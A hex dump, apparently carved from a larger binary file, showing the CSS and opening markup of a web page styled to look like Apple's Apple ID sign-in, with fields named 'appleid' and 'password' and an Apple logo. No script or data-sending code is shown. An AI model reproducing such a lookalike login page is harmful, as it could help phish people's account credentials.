00f7c430 76 68 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a |vh;.. }..|
|
||||
00f7c440 0d 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 20 7b |.. form {|
|
||||
00f7c450 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 |.. wi|
|
||||
00f7c460 64 74 68 3a 20 35 30 30 70 78 3b 0d 0a 20 20 20 |dth: 500px;.. |
|
||||
00f7c470 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 | display|
|
||||
00f7c480 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 |: flex;.. |
|
||||
00f7c490 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 | flex-direct|
|
||||
00f7c4a0 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 |ion: column;.. |
|
||||
00f7c4b0 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d | align-|
|
||||
00f7c4c0 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a |items: center;..|
|
||||
00f7c4d0 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
|
||||
00f7c4e0 20 20 20 20 20 20 20 23 73 69 67 6e 20 68 32 20 | #sign h2 |
|
||||
00f7c4f0 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 |{.. t|
|
||||
00f7c500 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 |ext-align: cente|
|
||||
00f7c510 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |r;.. |
|
||||
00f7c520 6d 61 72 67 69 6e 3a 20 35 70 78 20 61 75 74 6f |margin: 5px auto|
|
||||
00f7c530 20 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 | 0px;.. |
|
||||
00f7c540 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 | font-size: 22|
|
||||
00f7c550 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |px;.. |
|
||||
00f7c560 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e | line-height: 1.|
|
||||
00f7c570 34 37 30 35 39 3b 0d 0a 20 20 20 20 20 20 20 20 |47059;.. |
|
||||
00f7c580 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a | font-weight:|
|
||||
00f7c590 20 34 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 | 400;.. |
|
||||
00f7c5a0 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e | letter-spacin|
|
||||
00f7c5b0 67 3a 20 2d 2e 30 32 32 65 6d 3b 0d 0a 20 20 20 |g: -.022em;.. |
|
||||
00f7c5c0 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 | font-fa|
|
||||
00f7c5d0 6d 69 6c 79 3a 20 53 46 20 50 72 6f 20 54 65 78 |mily: SF Pro Tex|
|
||||
00f7c5e0 74 2c 20 53 46 20 50 72 6f 20 49 63 6f 6e 73 2c |t, SF Pro Icons,|
|
||||
00f7c5f0 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c | Helvetica Neue,|
|
||||
00f7c600 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 | Helvetica, Aria|
|
||||
00f7c610 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a |l, sans-serif;..|
|
||||
00f7c620 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f | colo|
|
||||
00f7c630 72 3a 20 23 36 35 36 35 36 39 3b 0d 0a 20 20 20 |r: #656569;.. |
|
||||
00f7c640 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 | }.... |
|
||||
00f7c650 20 20 23 69 6e 70 75 74 54 65 78 74 20 7b 0d 0a | #inputText {..|
|
||||
00f7c660 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 | marg|
|
||||
00f7c670 69 6e 3a 20 35 70 78 20 30 20 38 30 70 78 20 30 |in: 5px 0 80px 0|
|
||||
00f7c680 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a |;.. }....|
|
||||
00f7c690 20 20 20 20 20 20 20 20 23 61 70 70 6c 65 69 64 | #appleid|
|
||||
00f7c6a0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 | {.. |
|
||||
00f7c6b0 6d 69 6e 2d 77 69 64 74 68 3a 20 33 35 30 70 78 |min-width: 350px|
|
||||
00f7c6c0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 |;.. p|
|
||||
00f7c6d0 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 |adding: 20px;.. |
|
||||
00f7c6e0 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 | borde|
|
||||
00f7c6f0 72 3a 20 2e 35 70 78 20 73 6f 6c 69 64 20 23 64 |r: .5px solid #d|
|
||||
00f7c700 32 64 32 64 37 3b 0d 0a 20 20 20 20 20 20 20 20 |2d2d7;.. |
|
||||
00f7c710 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 | border-radiu|
|
||||
00f7c720 73 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 |s: 10px;.. |
|
||||
00f7c730 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 | border-bot|
|
||||
00f7c740 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a |tom-left-radius:|
|
||||
00f7c750 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 | 0;.. |
|
||||
00f7c760 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 | border-bottom-r|
|
||||
00f7c770 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b 0d |ight-radius: 0;.|
|
||||
00f7c780 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 |. bac|
|
||||
00f7c790 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 |kground-repeat: |
|
||||
00f7c7a0 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 |no-repeat;.. |
|
||||
00f7c7b0 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 | backgrou|
|
||||
00f7c7c0 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 61 6c |nd-position: cal|
|
||||
00f7c7d0 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 20 63 |c(100% - 20px) c|
|
||||
00f7c7e0 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 |enter;.. |
|
||||
00f7c7f0 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 | background-i|
|
||||
00f7c800 6d 61 67 65 3a 20 75 72 6c 28 27 2e 2f 69 6e 70 |mage: url('./inp|
|
||||
00f7c810 75 74 2e 73 76 67 27 29 3b 0d 0a 20 20 20 20 20 |ut.svg');.. |
|
||||
00f7c820 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 73 65 6c | align-sel|
|
||||
00f7c830 66 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 |f: center;.. |
|
||||
00f7c840 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 | backgrou|
|
||||
00f7c850 6e 64 2d 73 69 7a 65 3a 20 38 25 3b 0d 0a 20 20 |nd-size: 8%;.. |
|
||||
00f7c860 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 | }.... |
|
||||
00f7c870 20 20 20 23 70 61 73 73 77 6f 72 64 20 7b 0d 0a | #password {..|
|
||||
00f7c880 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d | min-|
|
||||
00f7c890 77 69 64 74 68 3a 20 33 35 30 70 78 3b 0d 0a 20 |width: 350px;.. |
|
||||
00f7c8a0 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 | paddi|
|
||||
00f7c8b0 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 |ng: 20px;.. |
|
||||
00f7c8c0 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 2e | border: .|
|
||||
00f7c8d0 35 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 64 |5px solid #d2d2d|
|
||||
00f7c8e0 37 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |7;.. |
|
||||
00f7c8f0 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 |border-radius: 1|
|
||||
00f7c900 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |0px;.. |
|
||||
00f7c910 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 | border-top-lef|
|
||||
00f7c920 74 2d 72 61 64 69 75 73 3a 20 30 3b 0d 0a 20 20 |t-radius: 0;.. |
|
||||
00f7c930 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 | border|
|
||||
00f7c940 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 |-top-right-radiu|
|
||||
00f7c950 73 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 |s: 0;.. |
|
||||
00f7c960 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 | background-re|
|
||||
00f7c970 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b |peat: no-repeat;|
|
||||
00f7c980 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 |.. ba|
|
||||
00f7c990 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f |ckground-positio|
|
||||
00f7c9a0 6e 3a 20 63 61 6c 63 28 31 30 30 25 20 2d 20 32 |n: calc(100% - 2|
|
||||
00f7c9b0 30 70 78 29 20 63 65 6e 74 65 72 3b 0d 0a 20 20 |0px) center;.. |
|
||||
00f7c9c0 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 | backgr|
|
||||
00f7c9d0 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 |ound-image: url(|
|
||||
00f7c9e0 27 2e 2f 69 6e 70 75 74 2e 73 76 67 27 29 3b 0d |'./input.svg');.|
|
||||
00f7c9f0 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 |. ali|
|
||||
00f7ca00 67 6e 2d 73 65 6c 66 3a 20 63 65 6e 74 65 72 3b |gn-self: center;|
|
||||
00f7ca10 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 |.. ba|
|
||||
00f7ca20 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 38 |ckground-size: 8|
|
||||
00f7ca30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d |%;.. }...|
|
||||
00f7ca40 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 20 23 |. input #|
|
||||
00f7ca50 61 70 70 6c 65 69 64 20 7b 0d 0a 20 20 20 20 20 |appleid {.. |
|
||||
00f7ca60 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f | box-shado|
|
||||
00f7ca70 77 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 |w: none;.. |
|
||||
00f7ca80 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 6e | outline: n|
|
||||
00f7ca90 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |one;.. |
|
||||
00f7caa0 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f | -moz-box-shado|
|
||||
00f7cab0 77 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 |w: none;.. |
|
||||
00f7cac0 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f | -webkit-bo|
|
||||
00f7cad0 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0d |x-shadow: none;.|
|
||||
00f7cae0 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 |. bor|
|
||||
00f7caf0 64 65 72 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 |der-color: trans|
|
||||
00f7cb00 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 |parent;.. |
|
||||
00f7cb10 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 69 | }.... .i|
|
||||
00f7cb20 6e 70 75 74 32 20 7b 0d 0a 20 20 20 20 20 20 20 |nput2 {.. |
|
||||
00f7cb30 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a | text-align:|
|
||||
00f7cb40 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 | center;.. |
|
||||
00f7cb50 20 20 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a | min-width:|
|
||||
00f7cb60 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 | 180px;.. |
|
||||
00f7cb70 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 | border-bott|
|
||||
00f7cb80 6f 6d 3a 20 2e 31 70 78 20 73 6f 6c 69 64 20 23 |om: .1px solid #|
|
||||
00f7cb90 64 32 64 32 64 37 3b 0d 0a 20 20 20 20 20 20 20 |d2d2d7;.. |
|
||||
00f7cba0 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6c | }.... .l|
|
||||
00f7cbb0 6f 67 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 |ogo {.. |
|
||||
00f7cbc0 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 | display: flex|
|
||||
00f7cbd0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a |;.. j|
|
||||
00f7cbe0 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 |ustify-content: |
|
||||
00f7cbf0 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 |center;.. |
|
||||
00f7cc00 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a | margin-top:|
|
||||
00f7cc10 20 2d 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 | -60px;.. |
|
||||
00f7cc20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 | margin-bott|
|
||||
00f7cc30 6f 6d 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 |om: 20px;.. |
|
||||
00f7cc40 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 | }.... |
|
||||
00f7cc50 2e 6c 6f 67 6f 20 73 76 67 20 7b 0d 0a 20 20 20 |.logo svg {.. |
|
||||
00f7cc60 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 | width: |
|
||||
00f7cc70 38 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |8%;.. |
|
||||
00f7cc80 20 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a | height: auto;..|
|
||||
00f7cc90 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 | }.... |
|
||||
00f7cca0 20 20 20 20 20 23 72 65 6d 65 6d 62 65 72 20 7b | #remember {|
|
||||
00f7ccb0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 |.. ma|
|
||||
00f7ccc0 72 67 69 6e 2d 72 69 67 68 74 3a 20 35 70 78 3b |rgin-right: 5px;|
|
||||
00f7ccd0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 |.. ma|
|
||||
00f7cce0 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 |rgin-bottom: 20p|
|
||||
00f7ccf0 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d |x;.. }...|
|
||||
00f7cd00 0a 20 20 20 20 20 20 20 20 23 72 32 20 7b 0d 0a |. #r2 {..|
|
||||
00f7cd10 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f | colo|
|
||||
00f7cd20 72 3a 20 23 36 35 36 35 36 39 3b 0d 0a 20 20 20 |r: #656569;.. |
|
||||
00f7cd30 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 | }.... |
|
||||
00f7cd40 20 20 66 6f 72 6d 20 68 34 20 7b 0d 0a 20 20 20 | form h4 {.. |
|
||||
00f7cd50 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d | margin-|
|
||||
00f7cd60 74 6f 70 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 |top: 1rem;.. |
|
||||
00f7cd70 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 | font-wei|
|
||||
00f7cd80 67 68 74 3a 20 33 30 30 3b 0d 0a 20 20 20 20 20 |ght: 300;.. |
|
||||
00f7cd90 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 | }.... |
|
||||
00f7cda0 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 20 7b 0d |::placeholder {.|
|
||||
00f7cdb0 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e |. fon|
|
||||
00f7cdc0 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 |t-size: 16px;.. |
|
||||
00f7cdd0 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 66 6f | /* fo|
|
||||
00f7cde0 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c |nt-family: Arial|
|
||||
00f7cdf0 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 2a 2f |, sans-serif; */|
|
||||
00f7ce00 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
|
||||
00f7ce10 20 20 20 20 20 20 20 2e 62 78 20 7b 0d 0a 20 20 | .bx {.. |
|
||||
00f7ce20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a | color:|
|
||||
00f7ce30 20 23 31 39 37 35 64 31 3b 0d 0a 20 20 20 20 20 | #1975d1;.. |
|
||||
00f7ce40 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d | transform|
|
||||
00f7ce50 3a 20 72 6f 74 61 74 65 28 34 35 64 65 67 29 3b |: rotate(45deg);|
|
||||
00f7ce60 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
|
||||
00f7ce70 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0d | footer {.|
|
||||
00f7ce80 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 |. pos|
|
||||
00f7ce90 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b |ition: absolute;|
|
||||
00f7cea0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 |.. di|
|
||||
00f7ceb0 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 |splay: flex;.. |
|
||||
00f7cec0 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a | width:|
|
||||
00f7ced0 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 | 100%;.. |
|
||||
00f7cee0 20 20 20 20 68 65 69 67 68 74 3a 20 36 35 70 78 | height: 65px|
|
||||
00f7cef0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 |;.. p|
|
||||
00f7cf00 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 |adding: 20px;.. |
|
||||
00f7cf10 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f | botto|
|
||||
00f7cf20 6d 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 |m: 0;.. |
|
||||
00f7cf30 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d | margin-bottom|
|
||||
00f7cf40 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |: 0;.. |
|
||||
00f7cf50 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c | background-col|
|
||||
00f7cf60 6f 72 3a 20 23 66 35 66 35 66 37 3b 0d 0a 20 20 |or: #f5f5f7;.. |
|
||||
00f7cf70 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 | }.... |
|
||||
00f7cf80 20 20 20 66 6f 6f 74 65 72 20 70 20 7b 0d 0a 20 | footer p {.. |
|
||||
00f7cf90 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d | font-|
|
||||
00f7cfa0 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 20 |size: 13px;.. |
|
||||
00f7cfb0 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 | }.... |
|
||||
00f7cfc0 20 20 66 6f 6f 74 65 72 20 70 3a 6e 74 68 2d 63 | footer p:nth-c|
|
||||
00f7cfd0 68 69 6c 64 28 32 29 20 7b 0d 0a 20 20 20 20 20 |hild(2) {.. |
|
||||
00f7cfe0 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 | margin: 0|
|
||||
00f7cff0 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 | 20px;.. |
|
||||
00f7d000 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 6f 6f |}.... foo|
|
||||
00f7d010 74 65 72 20 70 3a 6e 74 68 2d 63 68 69 6c 64 28 |ter p:nth-child(|
|
||||
00f7d020 33 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 |3) {.. |
|
||||
00f7d030 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 | padding-left: |
|
||||
00f7d040 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 |20px;.. |
|
||||
00f7d050 20 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 | border-left: |
|
||||
00f7d060 2e 35 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 |.5px solid #d2d2|
|
||||
00f7d070 64 37 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a |d7;.. }..|
|
||||
00f7d080 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e |.. button|
|
||||
00f7d090 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 | {.. |
|
||||
00f7d0a0 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 |background: none|
|
||||
00f7d0b0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 |;.. b|
|
||||
00f7d0c0 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 |order: none;.. |
|
||||
00f7d0d0 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e | paddin|
|
||||
00f7d0e0 67 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 |g: 0;.. |
|
||||
00f7d0f0 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 | margin: 0;.. |
|
||||
00f7d100 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a | font:|
|
||||
00f7d110 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 | inherit;.. |
|
||||
00f7d120 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e | color: in|
|
||||
00f7d130 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 20 20 20 |herit;.. |
|
||||
00f7d140 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e | cursor: poin|
|
||||
00f7d150 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d |ter;.. }.|
|
||||
00f7d160 0a 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 |... @medi|
|
||||
00f7d170 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 |a screen and (ma|
|
||||
00f7d180 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 |x-width: 768px) |
|
||||
00f7d190 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 |{.. f|
|
||||
00f7d1a0 6f 72 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 |orm {.. |
|
||||
00f7d1b0 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 30 | width: 80|
|
||||
00f7d1c0 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |%;.. |
|
||||
00f7d1d0 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |}.... |
|
||||
00f7d1e0 20 23 61 70 70 6c 65 69 64 2c 0d 0a 20 20 20 20 | #appleid,.. |
|
||||
00f7d1f0 20 20 20 20 20 20 20 20 23 70 61 73 73 77 6f 72 | #passwor|
|
||||
00f7d200 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |d {.. |
|
||||
00f7d210 20 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 | min-width: |
|
||||
00f7d220 39 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |90%;.. |
|
||||
00f7d230 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a | }.. }..|
|
||||
00f7d240 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f | </style>..</|
|
||||
00f7d250 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d |head>....<body>.|
|
||||
00f7d260 0a 20 20 20 20 3c 68 65 61 64 65 72 3e 0d 0a 20 |. <header>.. |
|
||||
00f7d270 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 | <div clas|
|
||||
00f7d280 73 3d 22 61 70 70 6c 65 4c 6f 67 6f 22 3e 0d 0a |s="appleLogo">..|
|
||||
00f7d290 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 | <svg|
|
||||
00f7d2a0 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 | version="1.0" x|
|
||||
00f7d2b0 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 |mlns="http://www|
|
||||
00f7d2c0 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 |.w3.org/2000/svg|
|
||||
00f7d2d0 22 20 77 69 64 74 68 3d 22 31 30 30 30 2e 30 30 |" width="1000.00|
|
||||
00f7d2e0 30 30 30 30 70 74 22 20 68 65 69 67 68 74 3d 22 |0000pt" height="|
|
||||
00f7d2f0 31 30 30 30 2e 30 30 30 30 30 30 70 74 22 0d 0a |1000.000000pt"..|
|
||||
00f7d300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7d310 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 |viewBox="0 0 100|
|
||||
00f7d320 30 2e 30 30 30 30 30 30 20 31 30 30 30 2e 30 30 |0.000000 1000.00|
|
||||
00f7d330 30 30 30 30 22 20 70 72 65 73 65 72 76 65 41 73 |0000" preserveAs|
|
||||
00f7d340 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 64 59 |pectRatio="xMidY|
|
||||
00f7d350 4d 69 64 20 6d 65 65 74 22 3e 0d 0a 0d 0a 20 20 |Mid meet">.... |
|
||||
00f7d360 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 | <g|
|
||||
00f7d370 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e | transform="tran|
|
||||
00f7d380 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 31 |slate(0.000000,1|
|
||||
00f7d390 30 30 30 2e 30 30 30 30 30 30 29 20 73 63 61 6c |000.000000) scal|
|
||||
00f7d3a0 65 28 30 2e 31 30 30 30 30 30 2c 2d 30 2e 31 30 |e(0.100000,-0.10|
|
||||
00f7d3b0 30 30 30 30 29 22 20 66 69 6c 6c 3d 22 23 30 30 |0000)" fill="#00|
|
||||
00f7d3c0 30 30 30 30 22 20 73 74 72 6f 6b 65 3d 22 6e 6f |0000" stroke="no|
|
||||
00f7d3d0 6e 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 |ne">.. |
|
||||
00f7d3e0 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 | <path |
|
||||
00f7d3f0 64 3d 22 4d 36 38 32 30 20 39 37 34 35 20 63 2d |d="M6820 9745 c-|
|
||||
00f7d400 33 33 32 20 2d 35 36 20 2d 37 32 35 20 2d 32 33 |332 -56 -725 -23|
|
||||
00f7d410 35 20 2d 31 30 31 33 20 2d 34 36 31 20 2d 32 37 |5 -1013 -461 -27|
|
||||
00f7d420 38 20 2d 32 31 39 20 2d 35 34 35 20 2d 35 38 38 |8 -219 -545 -588|
|
||||
00f7d430 20 2d 36 38 32 0d 0a 20 20 20 20 20 20 20 20 20 | -682.. |
|
||||
00f7d440 20 20 20 20 20 20 20 20 20 20 20 2d 39 34 32 20 | -942 |
|
||||
00f7d450 2d 39 35 20 2d 32 34 37 20 2d 31 34 36 20 2d 35 |-95 -247 -146 -5|
|
||||
00f7d460 38 35 20 2d 31 31 38 20 2d 37 38 37 20 6c 36 20 |85 -118 -787 l6 |
|
||||
00f7d470 2d 34 38 20 31 35 36 20 36 20 63 32 32 39 20 39 |-48 156 6 c229 9|
|
||||
00f7d480 20 33 37 31 20 34 34 20 35 38 38 20 31 34 37 20 | 371 44 588 147 |
|
||||
00f7d490 34 37 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |470.. |
|
||||
00f7d4a0 20 20 20 20 20 20 20 20 20 32 32 33 20 39 32 36 | 223 926|
|
||||
00f7d4b0 20 37 32 35 20 31 31 32 31 20 31 32 33 33 20 39 | 725 1121 1233 9|
|
||||
